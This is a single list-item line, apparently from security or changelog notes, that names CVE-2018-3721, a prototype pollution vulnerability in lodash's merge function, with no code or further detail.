- CVE-2018-3721 — lodash prototype pollution via merge
|